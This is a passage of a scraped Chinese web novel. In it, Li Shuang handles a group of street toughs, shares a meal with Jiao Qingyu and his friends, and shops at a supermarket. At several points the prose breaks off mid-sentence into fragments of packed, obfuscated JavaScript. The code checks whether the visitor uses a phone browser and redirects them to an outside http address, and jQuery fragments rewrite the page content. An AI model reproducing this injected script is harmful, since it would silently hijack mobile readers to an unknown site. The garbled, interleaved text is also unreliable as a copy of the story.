l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208009|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们两个:“要喝什么?我请客。” 李丰月说:“我,我要喝椰子汁!” 焦青钰点在瓶装的茉莉奶茶上:“奶茶。” “我就猜你要喝奶茶,”赵益和拿出自己的钱包,塞进一张十元。 屏幕亮起,选定的三瓶饮料依次从轨道上滑下来。 “哐当”一声掉进取货口。 历霜蹲下身,拿出矿泉水。 他用湿纸巾擦了一圈瓶子,确认干净了才拧开盖子,仰头喝了两口。 “哈——”他往前走,继续喝蓝牙耳机里的茂文德聊天,语气里带着点庆幸,“还好我带了纸币,不然都买不了。” 耳机里传来茂文德吐槽的声音:“这里也太复古了吧,连二维码都没有?” “小卖部便利店那些地方是有二维表的,路边这种饮料机、小摊子才没有,”历霜倒是能理解,“毕竟这里摆摊的都是老年人,老年人更喜欢纸币嘛。” 这时,刚进群聊的花谷云插嘴:“什么?纸币?我特别喜欢它,它是我的初恋。” “加一。” 历霜被两人逗笑,刚要开口,就看见前面ktv走出四个人走出来。 准确的来说,是四位精神小子,穿搭都是裹着瘦弱身子的紧身短袖,再加紧绷的小脚裤。 其中两个男生,一个头发红得发亮,另一个头发偏深的蓝色。 红毛取出嘴里吸完的烟蒂丢在地上,顺便踩了两脚,再跟对面俩女生说话。 那两女生也统一厚重的平刘海,短裙裹着腿,卧蚕画得比眼睛还大。 他们瞥见历霜时,说话声突然停了,眼神直勾勾地黏了过来。 历霜没当回事,淡定地往右边绕开,没成想红毛突然往前跨了一步,直接挡在了他面前。 “啪!”红毛莫名其妙拍了下他自己的肚子,力道不小,声音特别清脆。 历霜猜测他肚子上肯定有块巴掌印。 红毛顶着腮,吊儿郎当地问:“oi,帅哥,有空没有?” 历霜看着他,说:“没有。” 剩下三个人立马围了上来,在他面前排成一排,把路堵得严严实实。 “我们就是想问问你,”还有个男生打量他,普通话烫嘴似的说的特别含糊,“有没有空跟我们几&&%*个去玩玩,你不想来也没事%&*&,见面都&&*缘分,今天请我们吃点面啊#&#的,之后罩着*&#你,这片地方你想&*&就来。” 历霜听了好半天才听明白。 简单概括下就是看他长得玉树临风英俊潇洒气质出众,看着像外地人,所以要打劫。 蓝牙里的两人太久没听见历霜的声音,觉得有点不对,花谷云问:“怎么了?” 历霜扫过面前四人,淡定地对着耳机说:“遇到了个烈焰魔猴,海刺龙,还有俩蚊香蛙。” 对面四人:“?” 茂文德一脸懵逼:“你在玩宝可梦?” “我先挂了,事情处理完再打电话。”历霜结束通话,指了指 KTV 和隔壁商铺之间窄窄的小道,“这里太阳大,我们去阴凉的地方说话吧。” KTV里的员工透过窗户,悄悄对历霜比了个“拨打电话”的手势。 历霜冲她轻轻摇了摇头,跟着那四人走进了小道。 小道对面是家上下两层的菜馆,靠窗的位置上,李丰月和赵益和正兴致勃勃地选菜。 李丰月点着菜单的甜点说:“我想吃豆沙,糕糕。” 赵益和逗他:“这里没有豆沙糕糕,只有豆沙糕。” 李丰月盯着字,一个一个慢慢读:“豆,沙,糕。” “行,那就点这个,”赵益和在上面打了个勾,抬头问焦青钰,“钰,你要吃什么?” “这个吧,炒河粉,”焦青钰戴着他专属的歪腿眼镜,在菜单上点了一下。 “行,那我再点两个。”赵益和继续看菜单。 焦青钰的视线无意识转向窗外,正好瞥见对面小道里隐隐约约的几个人头。 其中那抹荧光红特别扎眼。 这红色好像在哪见过…… 焦青钰眯起眼睛,辨认几秒后,猛地站了起来。 对面的赵益和与李丰月还没反应过来,脸上满是懵怔,就见焦青钰神色平静地开口:“你们先吃,我去处理个人。” 12.春光作序 焦青钰在楼下看得更清楚,马路对面的小道里,一个比较高的男生被四个人围住。 电线杆子挡住了高个男生的脸,但对面四人的长相非常清晰了。 其中那个红毛,正是两个月前被他揍的那群人里的一份子。 “死性不改。”焦青钰低声骂道,快步往路口跑。 好巧不巧,他刚冲到路口时,信号灯转成了红灯。 他只能耐着性子等,时不时看一眼手机。 等到绿灯亮起,他立刻冲了出去,一路狂奔,跑到KTV门口时听见里头传来一声短促的 “啊”。 焦青钰心头一紧,立马加快速度,冲到小道口,大声震慑:“你们到底在……” 他喊到一半,顿住了。 狭窄的小道里,斑驳的木色墙皮早褪成了浅褐色,一片片往下剥落,在地上积成薄薄的灰尘。 顺着灰尘往前,历霜站在那里。 交错的电线像杂乱的蛛网在他头顶盘旋。 而他一身浅灰色衬衫,袖子卷到胳膊肘,露出结实的小臂;藏青色的长裤垂到脚后跟,右鞋跟往后搭着墙面。 他面色从容,杏眼懒懒垂下,两手各捏着的两张身份证,漫不经心地翻来转去。 而他对面,以红毛为首的四个人,正双手举过头顶蹲在墙角,脑袋埋得快贴到膝盖,在听见声音时同时抬头。 其他人都有些懵,只有红毛的身子立马瑟缩了一下,赶紧重新低头。 历霜伸了个懒腰,微微扬了扬下巴:“这么巧?” 焦青钰皱紧眉头,慢慢走过去:“你干的?” 历霜用身份证挡了一下嘴:“我说他们不小心互殴了,你信吗。” 焦青钰知道历霜不说真话,随便指了个女生,“你说怎么回事。” 女生虽然不认识焦青钰,但看红毛躲闪的眼神,心里也明白了七八分。 在心里大骂红毛老是乱装逼瞎惹人,随后可怜巴巴地看着焦青钰,颤颤巍巍地回答:“就是,想让他跟我们玩玩,他结果不肯,红毛这脑残就想打他,结果被他哐哐擒拿又锁喉最后直接踹翻了,然后他又说他爸是警长,记下我们的身份证,下次要是再搞事就把我们告进去。都怪红毛,呜……我当时还说不要做了,呜……跟我没关系……” 女生说着说着就开始哭了,另外一个女生也开始擦眼泪。 擒拿?焦青钰看向历霜。 作为“擒拿”的人,历霜身上一点没脏。 历霜注意到他在看自己,眼睛一弯:“怎么,你想学吗?叫我声师父我教你。” 焦青钰:“……” 焦青钰自动忽略历霜的插科打诨,死死盯着他:“他有没有抢你钱?” “抢到是没有,”历霜冲红毛笑了一下,“他让我请客,说是这片他罩了。” 请客? “你还挺能编,”焦青钰冷笑一声。 他俯身蹲下身,一把揪住红毛的头发,狠狠往上提,迫使对方抬头直视自己,力道大得让红毛倒抽一口冷气。 而他的声音阴冷:“上次抢小学生的钱,说谣言,你怎么不说了?” “小学生的钱都抢?”身后的历霜露出震惊的表情,“哥们,我以为你只是长得无脑,没想到还不要脸啊。” 红毛肿着眼睛,视线在两人之间来回转,一个是黑脸阴沉的焦青钰;一个是刚刚让他吃了一嘴泥,从头到尾笑眯眯的高个男。 真是见鬼了……一天之内碰上俩疯子了。 红毛脑子飞速旋转了一下,选个好说话的道歉,冲历霜搓手:“帅哥,我,我错了,你看你都记下我身份证了,我肯定不会再搞事了,这次真是最后一次了,对不起。” 那高个却看着他,问了一个无关紧要的问题:“那小学生的钱还了吗?” “还了还了,”红毛急急忙忙说:“……被他拿走了。” 历霜的视线落在焦青钰的后背上。 宽的灰色长袖被动作扯得贴在后背,顺着脊背的弧度勾勒出流畅的线条,深蓝色长裤裹着腿,一只裤腿随意翻到脚踝上方。 看不到他的表情,但历霜光看红毛那副大气不敢喘、浑身发颤的模样,就能想象出焦青钰脸上的阴冷。 “那你道歉了吗?”历霜忽然开口问红毛。 “道歉?”红毛愣了一下,转眼瞥见历霜手里挥了挥的身份证,赶紧点头如捣蒜,“道了道了!他知道的!” 焦青钰没说话,只微微点了下头,算是确认了。 “那就行。”历霜走上前,微微弯腰,把身份证一张张递还给他们,“你们走吧,注意安全,小心别被车撞死了。” 历霜动作优雅得像在施舍,脸上还挂着看似友善的笑。 那几人都被这副模样迷惑了,迷迷糊糊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210416|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地双手接过身份证,最后还乖乖说了句:“谢谢啊。” 焦青钰看着这一幕,额角几不可察地跳了跳:“……?” 能不能仔细听一下这人在说什么? 等那四人彻底消失在巷口,焦青钰才慢慢直起身,转向历霜,开门见山问:“你爸是警长?” 历霜耸耸肩,语气坦然:“不是,我爸是骨科大夫,现在在中医馆坐诊的那种。” 焦青钰愣了愣:“那你刚才怎么说……” 历霜认真地说:“出门在外,身份是自己给的。” 焦青钰:“?” 面不改色地编故事,还把这几个吓哭了。这种事也就历霜能干的出来。 焦青钰霎时无语,转身向外走。 身后很快传来同频的脚步声,历霜几步就跟上他,侧头反问:“他们又是怎么招惹你的?” 焦青钰不想多提自己的事,只简单回了句:“他们找事。” 历霜长长地“哦”了一声:“最后你赢了。” “所以我说了,别随便招惹我。”焦青钰瞪了历霜一眼,“知道了吗?” 历霜没接话,焦青钰也没再管,自顾自往前走。 焦青钰走过红绿灯,余光瞥见历霜还跟在后面,他深吸一口气忍住了。 走到菜馆楼下,历霜还在。 他又忍住了。 直到他踏上二楼的台阶,历霜也跟着抬步上来,焦青钰嘴角一抽,终于忍无可忍。 他停下脚步,站在比历霜高一级的台阶上,居高临下地皱眉问:“你到底要干嘛?” 历霜眨巴眼睛看着他:“来饭馆肯定是吃饭啊,不然来看电影吗?” 焦青钰果断地说:“那你去别的地方。” 历霜却笑了:“这饭馆又不是你开的,为什么不让我来?” 焦青钰:“那别跟着我。” 历霜很快反应过来,眼神带着点促狭:“你约了朋友。” “对。”焦青钰冷冷地看着他,语气直白,“他们不欢迎你。” “欢迎欢迎!” 赵益和看见历霜,立马从抽屉里翻出新的碗筷,往对面空位上一放,热情邀道,“我们还有个小朋友去上厕所了,你跟我们一起吃吧,刚好四个人!” “好,谢谢……噗嗤。”历霜实在没忍住,扭头笑了出来。 焦青钰:“……” 13.春光作序 等历霜坐下,赵益和才察觉到焦青钰的脸色有点冷淡,凑过去好奇地问:“钰哥咋了?” 焦青钰抬眼瞥了下赵益和那傻乎乎的笑,话到嘴边又咽了回去,干脆掏出手机装瞎:“没事,别管我。” 另一边,历霜正用桌上的湿巾纸慢慢悠悠擦着手,将指关节擦得干干净净,才拿起菜单。 他看见不超过十五元的菜价,心里忍不住嘀咕:真是便宜啊。 这些菜用沪币算,均价肯定超过五十。 “你们点了什么菜?”历霜抬头问赵益和。 “我点了狮子头、甜辣虾球,这俩菜是招牌,然后还有爆炒猪肝,然后钰哥点了炒河粉,我们的小朋友点了绿豆糕,”赵益和说起推荐的菜来像报菜名似的,语速飞快,“你要吃点啥?” “那我炒菠菜吧。”历霜合上菜单。 “蔬菜啊?”赵益和愣了下,挠了挠头。他没想到历霜会点这么清淡的东西。 “加点绿色,健康。”历霜笑着解释,目光往旁边一瞥,注意到靠在墙角的两根网杆,上面还沾着点草叶,“你们刚玩完回来?” “对啊,我们去抓虫子去了。”赵益和瞬间来了兴致,伸手就要去拿椅子下的塑料盒,“我给你看!” 历霜连忙摆手,语气都有点急了:“不了不了,我就不观赏了。” 赵益和重新直起身,满脸疑惑地盯着他::“咋了?你怕虫子啊?” “不能算怕,就是……”历霜没说完,“总之别让我看了。” “行吧,”赵益和撅撅嘴,刚要再说点什么,就看见李丰月远远跑过来,立马笑着招呼,“来来来,给你介绍个新大哥。” 历霜顺着他的视线看去,一眼就瞧见了那张红扑扑的脸蛋。 ……这不是上次丢羽毛球的小朋友吗? 历霜立马扬起亲切的笑容,挥了挥手,先打招呼:“嗨,又见面了。” 小朋友跑到桌边,盯着历霜看了两秒,突然眼睛一亮,惊喜地指着他:“大,大哥哥!” 焦青钰这才抬头,目光在历霜和李丰月之间来回转了两秒,语气平淡地问李丰月:“你那天说的就是他?” “对!”李丰月使劲点头,仰着头看向历霜,眼神里满是期待,“这次,次,可以告诉我名字,字了吧!” “历霜,”历霜冲他眨一下眼睛,“《静夜思》背过没有?就是那个霜。” 李丰月立马自信地扬起下巴:“当然背,背过了。” 历霜忍着笑,温柔地问:“你叫什么名字啊?” 李丰月下意识看了眼焦青钰,见焦青钰微微点头,给了他个肯定的眼神。 他这才深吸一口气,把小手背在身后,一字一句认真地说:“我,我叫李丰月,因为,我在十月出生,是,是丰收的月份,所以,我叫丰月。” 话音刚落,桌上的三个人就同时鼓起了掌。 历霜欣慰地夸赞道:“好厉害,能说这么长。” 李丰月立马挺起小胸脯,鼓着脸蛋骄傲地说:“都,都是小钰哥哥教我的。” 历霜斜睨了眼焦青钰,对方正淡定地端着水杯喝水,眼皮都没抬一下,全然事不关己。 历霜这才反应过来,指着焦青钰问:“你说教你学习的人是他啊。” 也就是说,免费理发的那个人是焦青钰? 历霜沉默几秒,认真地问李丰月:“丰月,你家有没有被客人投诉过?” 李丰月歪了歪头,历霜指向焦青钰。 焦青钰冷冷地抬起眼皮,他还没来得及开口,理发店的忠实顾客赵益和先急了。 “跟阿姨没关系啊!”赵益和揽着李丰月的肩膀为此证明,“这刘海是他自己剪的。” 历霜狐疑地看向焦青钰,当事人却一脸淡定:“起来发现刘海长了,就拿剪刀剪了。” 历霜:“……”莫名地符合焦青钰的作风。 赵益和还在补充细节:“你不知道,原版更夸张,他当时来上课,我们班笑了一节课,现在这样子已经是阿姨精修过了。” 历霜转头转头给了焦青钰一个怜悯的眼神:“阿姨技术挺好的。” 焦青钰:“……”这人骂的好脏。 焦青钰刚要开口反驳,服务员端着菜走了过来,他默默哑言了。 几人拿起筷子,边吃边聊。 狮子头果然是招牌菜,肉质炖得酥软,咬开时能尝到里面的马蹄碎。 历霜尝了一口,瞬间喜欢上了,连连夸赞真香。 而坐在他对面的赵益和,目光总忍不住历霜身上瞟。 因为他头一回看见吃饭这么斯文的人,比赵棠还斯文。 每次用公筷夹东西都会用碗垫在下面,再在盘子里拆成一小块放进嘴里,左手握着餐巾纸,随时准备擦漏下来的汤汁。 也正因如此,历霜吃饭的速度很慢。 他们几个已经在吃饭后甜点绿豆糕了,历霜还剩下两口饭。 感受到视线的历霜放下筷子,笑着问他:“怎么了?” 赵益和组织了半天语言,才认真地问:“你爸妈管你管的严吗?” “嗯?”历霜想了想,回答道,“还好吧。” “那你平时事做不好了,他们会打你吗?” “不会啊,我妈从来不打我,”历霜放下碗,对这个问题有些疑惑,“怎么了?” 赵益和挠挠下巴,尴尬地问:“没什么,就是看你吃的很斯文,以为你在家吃的不好会被揍。” 旁边捧着豆沙糕的李丰月也跟着点点头。 只有焦青钰没有任何反应,一直在打字回消息。 “哈哈哈,我家恰恰相反,我妈还让我吃的更快一点呢,但我就喜欢这样吃。”历霜笑着回答,“学校吃饭也就半小时,我每次都刚好掐点吃完,主要这里的菜也好吃,我能吃很多。” 赵益和说:“看样子你们学校的食堂饭不咋滴啊。” “确实不敢恭维。”历霜点头认同。 “也就吃三年,这种日子马上就结束了!”赵益和安慰他。 历霜笑了笑:“我是复读的,比你们要多吃一年。” 赵益和愣了愣,想当然地以为历霜和他一样是学渣,忍不住笑出声:“没想到你看着挺聪明,成绩竟然比我还差!” 这时,焦青钰停下打字,抬头跟他们几人说:“付钱吧,我们AA。” 历霜瞟了眼焦青钰,焦青钰的眼神依旧没什么波澜,像是刚回复完抬得头。 赵益和的注意力立马换到这个话题上,他看了眼李丰月:“小朋友就别付钱了吧?我们三个人平分。” “不!”李丰月大声拒绝,“妈妈说,我,我不能白吃,吃你们的!” 说罢,他从小包里拿出一个红色的塑料袋,“啪叽”放在桌上。 塑料袋口没扎紧,露出里面几张叠得整整齐齐的五元纸币,还有几枚发亮的硬币。 焦青钰和赵益和早就见怪不怪,刚来的历霜凑过去看了眼,笑着说:“你这钱包还挺独特的。” 李丰月数着钱说:“妈妈说,这样,样,不会有人,人,发现是钱,很,很安全!” 既然这位小朋友强硬地说要付钱,他们也不好再拒绝。 只不过他们使了个心眼。在历霜的提议下,焦青钰给李丰月出算术题,要是做对了就能少支付一半的钱。 这样既能让李丰月少出点钱,也能守护他的小小自尊心。 最后,李丰月自然以满分的成绩宣告少付钱,笑得跟中大奖一样开心。 他们从饭馆出来,历霜和他们就此别过。 李丰月还舍不得他,小步往前凑,想再聊几句。 可他刚往前走一步,历霜就往后退一步,最后干脆站在焦青钰的后面,拿他当挡箭牌。 焦青钰:“……?” 他往左挪了挪,历霜也跟着往左挪;他往右退了半步,历霜立马跟上来。 焦青钰皱了皱眉,转身朝历霜“啧”了一声。 历霜仰头看天,当没看见。 这边在用眼神交流,那边的赵益和跟李丰月解释:“他不是讨厌你,他是怕虫子。” “哦……”李丰月也舍不得这些虫子,只能跟历霜隔着一个焦青钰道别,“那,我,我以后能找历哥哥,玩吗?” 历霜弯了一点腰,微笑着回答:“暑假这段时间可以,过完暑假我就要回去上学了。” “好!”李丰月开心地说,“民俗晚会,你,你也会来吗?” “会,”历霜笑着说,“到时候见啦。” “我们走吧。”赵益和拉着李丰月走了。 焦青钰在历霜靠近时,压低声音说了句:“今天的事别乱说。” 历霜露出一副毫不在意的笑容,弯着杏眼反问:“那我挑点能说的?” “随便。”焦青钰斜睨他一眼,几步跟上赵益和,没有再管历霜。 他们俩人将李丰月送回家,焦青钰又被赵益和拉去家里玩了。 赵益和家客厅有个巨大的玻璃箱,中央是后山砍来的老木,赵益和将今天抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215584|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的昆虫放进去,兴致勃勃地和焦青钰聊他将来要去云南玩。 就在这时,赵棠不请自来。 赵益和心想不妙,却为时已晚。 因为他们三个人有个不成文的规定。 如果三人相遇,又在学习和休息之间有冲突,就以投票的形式决定他们要干什么,并且不能反悔。 而众所周知,焦青钰有学习瘾;赵棠又是个读书变态。最后的结果自然就是委屈他这么个可怜宝宝,一起在客厅里写暑假作业。 赵棠用卷成圆柱的试卷,重重锤向赵益和的脑门:“你说谁变态呢?你有病啊?!” 赵益和捂着脑袋,一脸无辜:“原来我把心里话说出来了啊?” “还叫自己可怜宝宝,呕,”赵棠指着赵益和一字没写的练习本,“我们现在在督促你,你现在再不写,东西就全忘了,高三开学又变倒数了!你是想复读吗?!” 赵益和立马梗着脖子回嘴:“复读咋了,历霜也是复读的啊,他看着状态挺好的啊!复读又不丢人!” 赵棠愣了一下,看向焦青钰:“复读?” 旁边的焦青钰头也没抬,淡淡飘来一句:“他复读跟你没关系。” 赵棠反应过来,差点被赵益和带偏了重点,重新站在道德最高层:“对啊,他复读跟你什么关系?他说不定只是因为没考到满意的分数复读了,你复读是走单招的复读好吧!你不丢人我丢人啊!” “师傅别念了别念了!”赵益和捂住耳朵:“我写,我写不行吗?!” 好说歹说,赵益和终于开始动笔。 赵益和他爸下班回家,开门就看见每次叫去写作业都摆烂的儿子竟然乖乖在写作业,四十多岁的老赵那叫一个感动。 赶紧抓了后院的乌骨鸡,把家里存下来的高档药材都下了汤,给他们俩人做鸡汤,一人一个大鸡腿。 老赵开了十几年菜馆,手艺是镇上出了名的好。 焦青钰原本想着早点回家,可闻着满屋子的鸡汤香,脚步又莫名停住了,最后还是留下一起吃了晚饭。 晚饭过后,天边还飘着几缕金黄的余辉。 焦青钰慢悠悠地往家走,沿着宽敞的巷子晃荡,时不时有收摊的三蹦子从他身边经过。 车斗里堆着没卖完的蔬菜,带着点泥土气。 就在他走到十字路口时,一辆银白色的轿车突然在旁边停下。 焦青钰即刻认出这是芳沁的车。 果不其然,副驾驶的车窗缓缓降下,露出芳沁带着笑意的脸。 芳沁的头发被卷发固定夹卷了起来,显得格外随意:“远远就看到了,果然是你诶。” “芳姑好。”焦青钰打了一声招呼,心里却突然咯噔一下。 如果芳沁坐副驾驶,那么开车的人是…… 他下意识微微弯腰,透过车窗往驾驶座看。 果然是历霜。 历霜单手握着方向盘,侧过头朝他看过来,嘴角微微扬着,一副从容又淡定的模样:“真巧啊。” 焦青钰:“……” 芳沁压根不知道他们俩今天还见过,问焦青钰:“你应该没什么事吧?一起去超市呗?” “我就不……” 焦青钰的拒绝刚说一半,历霜就冷不丁插了句:“快点上车,交通要堵塞了。” 焦青钰就这么稀里糊涂地坐上了后座,回头一看,一辆车都没有。 这才意识到自己又被骗了。 焦青钰抿嘴系上安全带:“……” 这人怎么能张口就来的?就没一句真话。 他现在怀疑那句复读都是假的。 汽车缓缓启动,车载音响里正放着首轻柔的粤语歌。 前排两个人心情都很好,跟着旋律轻轻哼了起来,调子对得严丝合缝。 焦青钰摸摸盯着后视镜,等车子开出巷子才开口问:“你会开车?” 历霜没正面回答,反而挑了挑眉:“帅吧。” 焦青钰没话说了。 倒是芳沁转头往后座看,笑着补充:“狸狸学的可快了,倆礼拜就学出来了。” 焦青钰在心里换算着时间,又看向后视镜:“高考之后就去学车了?” 这话一出,芳沁突然愣了一下,立马转头瞪向历霜:“你跟他说你复读的事了?” 焦青钰的目光透过后视镜,正好与历霜对上。 斜阳不偏不倚地落在前座。 历霜微微弯了下眼睛,笑落在眼底,声音里带着点轻笑:“放心,他没关系。” 14.南极以南 跟焦青钰去超市这件事,原本不在历霜的计划里。 当时车子刚拐进巷子,芳沁指着十几米外的背影说如果那是小钰,就拉人一起买零食。 没想到芳沁的视力居然比他还准,那人真是焦青钰。 在车子开过去前,芳沁曾问他和焦青钰的关系怎么样了。 他和焦青钰的关系其实挺微妙的,说不上好,也谈不上坏。 经过今天小道里那件事,他对焦青钰多了点不一样的印象——至少是个正直的好人。 焦青钰没看见他是谁就过来帮忙,足以证明这人单纯地除恶扬善。 他当时说“侠义”两个字,果然没说错。 焦青钰上车后很安静,眼神飘向窗外,不知道在琢磨什么。 直到车子开出巷子,才问了他一个特别人机的问题:“你会开车?” 历霜学开车就一个原因:他家司机单手倒车的模样特别帅。 所以他说“帅吧”两个字的时候,真是在认真解释缘由。 但显然焦青钰纯当他装十三了,没搭理他。 之后又聊到复读的话题。 他其实对这个话题并不敏感,他不想告诉别人,也只是单纯地不想被议论。 而他能确定,焦青钰不会。 在吃饭的时候,焦青钰突然说要买单,其实是为了打断了赵益和的调侃。 历霜觉得这人确实聪明。 什么都不说,什么都不表现,却把周围的动静都看在眼里,该搭话时搭话,该解围时解围,比想象中通透多了。 就是有点人机。 历霜从后视镜打量焦青钰。 对方面无表情地看着窗外,侧脸线条很利落,肩膀微微垮着。 不过搞笑的是。 焦青钰属于上身短、下身长的身材,坐在车里这种软乎乎的座椅上,整个人像是掉进了坑里。 “噗……” 历霜用手背挡着嘴才没让笑声漏出来。 二十几分钟后,汽车畅通无阻地驶入大广场,他们为了好放东西,选择停在户外的停车位上。 大广场的百货超市装修和市区一模一样,通体古旧的深棕色,大块oled屏幕播放着各家品牌的广告代言。 毕竟这里位于两个县的交汇点,来往的人还不少。 大广场的超市在地下一层,需要经过一楼的餐饮区。 一进餐饮区,香油味扑面而来,各类小吃五花八门,奶茶店更是好几家连着开。 历霜看着这七家奶茶店,问出了一个灵魂深处的问题:“这个商场是觉得我们逛完后会给渴死吗?” 芳沁被逗得直乐,拍着他肩膀说:“你要是不说我都没发现哈哈哈!” 历霜看了眼焦青钰。 焦青钰的视线落在那些奶茶店上,直到他们走进超市,才将视线收回来。 他们来到超市内部,芳沁拿了一辆推车,直接去肉类区。 各种切好的肉类放在塑料盒里,打折售卖,旁边的海鲜区老远飘来一股水腥味。 “到时候我们可以吃烤肉啊,”芳沁拿着五花肉,迟迟不肯放下,“诶哟这个肥牛看着也不错。” “姑妈,别忘了正事啊。”历霜提醒她,“你再拿下去我们俩干脆带炉子过去烧菜吃算了。” “好吧,先买过两天要用的,”芳沁不情不愿地把肥牛放回去了,“好久没来逛超市了,有点激动了。” 他们继续往前走,走进熟食水果区。 历霜双手贴后背,每次路过货物,都只是看上面的价格。 要是有想拿的,只用食指和大拇指轻轻捏起一个角。 焦青钰起先以为他是矫情,但后来发现他拿水都是这样。 这不是矫情,而是…… “小钰啊。” 焦青钰的思绪被芳沁打断,他走到芳沁旁边:“怎么了?” 芳沁拿起一串袋装的奶茶粉,问焦青钰:“你不是喜欢喝奶茶吗?我给你买点奶茶粉,到时候你倒保温杯里带过去喝。” 焦青钰看着价格,回答:“我带钱了。” 芳沁对他的话不以为然,直接放进购物车里:“怎么好让你们小孩子付钱啊,到时候别人要笑话我的。” 历霜在旁边扬着声音附和:“你忍心看我和蔼可亲的姑妈被笑话吗?” 焦青钰:“……” 以他对历霜的了解,只要回一句,历霜肯定会回第二句。 焦青钰压根不是这两人对手,只能败下阵地答应了。 “哎哟真乖。”芳沁笑着揉了揉焦青钰的头发,语气带着点调侃,“你的头发手感比狸狸的好,他那头发摸起来跟摸毯子似的,软塌塌的。” “不好!我被你重伤了!”历霜立刻捂住胸口,故意往后踉跄了两步,腿刚好靠在水果冷藏柜的柜门上。 “急需三盒草莓补救我们之间的感情。”他指着冷藏柜里的东山草莓,语气相当理直气壮。 焦青钰静静看着历霜表演。 “……”好一段精心设计过的动作。 “你这人,”芳沁嘴上骂着,还是走过去拿了三盒,“这三盒你慢慢吃,别又一天吃完了,我这可不是你家,没保姆给你补货。” 历霜展开笑眼:“谢谢姑妈。” 芳沁又凑到历霜耳边,小声叮嘱:“别光顾着自己吃,也给小钰尝点。” “我知道啦。”历霜点头应下,转头看向焦青钰。 恰好两人目光对上,历霜冲他弯了弯眼睛,笑得轻快。 焦青钰却没什么反应,连眉毛都没动一下,眼神平静得像一潭深水。 两人跟着芳沁再走了几分钟。 芳沁看两人总跟在身后不说话,以为是她在所以有点拘谨,便提议:“咱们分成两组,等结账的时候打电话集合吧!” 说完就拉着购物车走了,剩下俩男生站在母婴区货架前。 历霜指着货架上的奶粉:“你要喝吗?” “……无聊。”焦青钰睨了他一眼,往前走。 两人又走到零食区,历霜捏了两包妙脆角丢进筐子里,转头发现焦青钰看到现在,一个零食也没拿。 这是在省钱呢?历霜提醒他:“你不用给她省钱,你少拿了她反而会说你。” 说罢,焦青钰随手拿了包果冻,走到历霜身边,也拿了一份妙脆角,不过是番茄味的。 焦青钰看着历霜,没头没尾地问了一句:“你有洁癖?” 历霜也没想藏着这件事,很坦然地点头了:“怎么了?洁癖不能买东西?” “不,”焦青钰把东西放进筐子,“只要你付钱了都可以。” 之前奇怪的地方都有了解答。 历霜为什么经常洗手擦手;说自己不怕虫,却连看都不想看。 焦青钰又问:“如果复读这件事不能跟别人说,为什么要告诉我们。” “你是准备今天把要问的都问了?”历霜笑眯眯地看着他,脚步没停,“不是不该让人知道,只是不想被传播谣言罢了。但你不是不会传播吗?你跟那个烈焰魔猴说的,你很讨厌传谣。” 焦青钰愣了一下:“……烈焰魔猴?” 历霜:“那个红毛啊,你要是玩过宝可梦,就知道我说的多像了。” 焦青钰:“……” 他应该能猜到。 “你的问题问完了,该我问你了吧,”历霜往前走。 焦青钰跟在他旁边,淡淡道:“随便。” “那个被抢钱的小学生,”历霜的视线落在货架的价格标签上,语气轻得像随口闲聊,“是李丰月吧?” 焦青钰抬眸望着历霜,没有绕弯子,直接回答:“对。” “至于造谣,他们造的应该是你的谣?”历霜顿了顿,又改口,“哦不,应该是你父母的谣。” 焦青钰的眉头几不可察地动了一下,没有直接回答,反而反问:“你怎么猜出来的?” 历霜转头看向焦青钰,脸上的笑容淡了些,多了几分认真。 “显而易见,你过的比钟点工还准时,什么时候回来、做过什么街坊都知道,那些人压根造不了你的谣。他们最后也只能说你外地爸妈或者朋友的谣了,但以你朋友们拉架的性格,肯定怕你会冲动所以不会告诉你,自己先解决了。所以只有前者,你才会直接上手。”历霜说得字字清晰,最后点到即止。 只有当事人知道,历霜的推测全部正确。 但焦青钰不想夸赞他,反而觉得这人的眼睛好像能透过它看透一些事情。 他不喜欢将自己暴露在并不熟悉的人面前,他讨厌这种感觉。 焦青钰沉下脸,轻浅地说:“说的你好像很了解我。” “我不了解你,但你很像我一个朋友,我了解我的朋友,你们这帮人有一个共同特点,就是自尊心特别强。”历霜耸了耸肩,“括弧,他性格比你好。” 焦青钰:“……” 两人讲着讲着,来到了熟食区。炸鸡块新鲜出炉,香味扑鼻,有服务员拿了一小块让他们品尝。 历霜尝了一口,冲服务员竖起大拇指:“真好吃。” 焦青钰默默尝了一口,味道确实可以。但他今天已经吃饱了,不会买的。 服务员被俩帅哥盯着,笑得有点不好意思了:“喜欢就买点好了,那边有盒子装的,晚上七点后都打折。” 常见的销售套路来了。 有些人去超市,遇到这种情况都会觉得不大好意思,顺势就买了两袋。 这服务员运气不大好,刚开张就遇到这两人。一个厚脸皮,一个不懂销售套路。 “今天就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 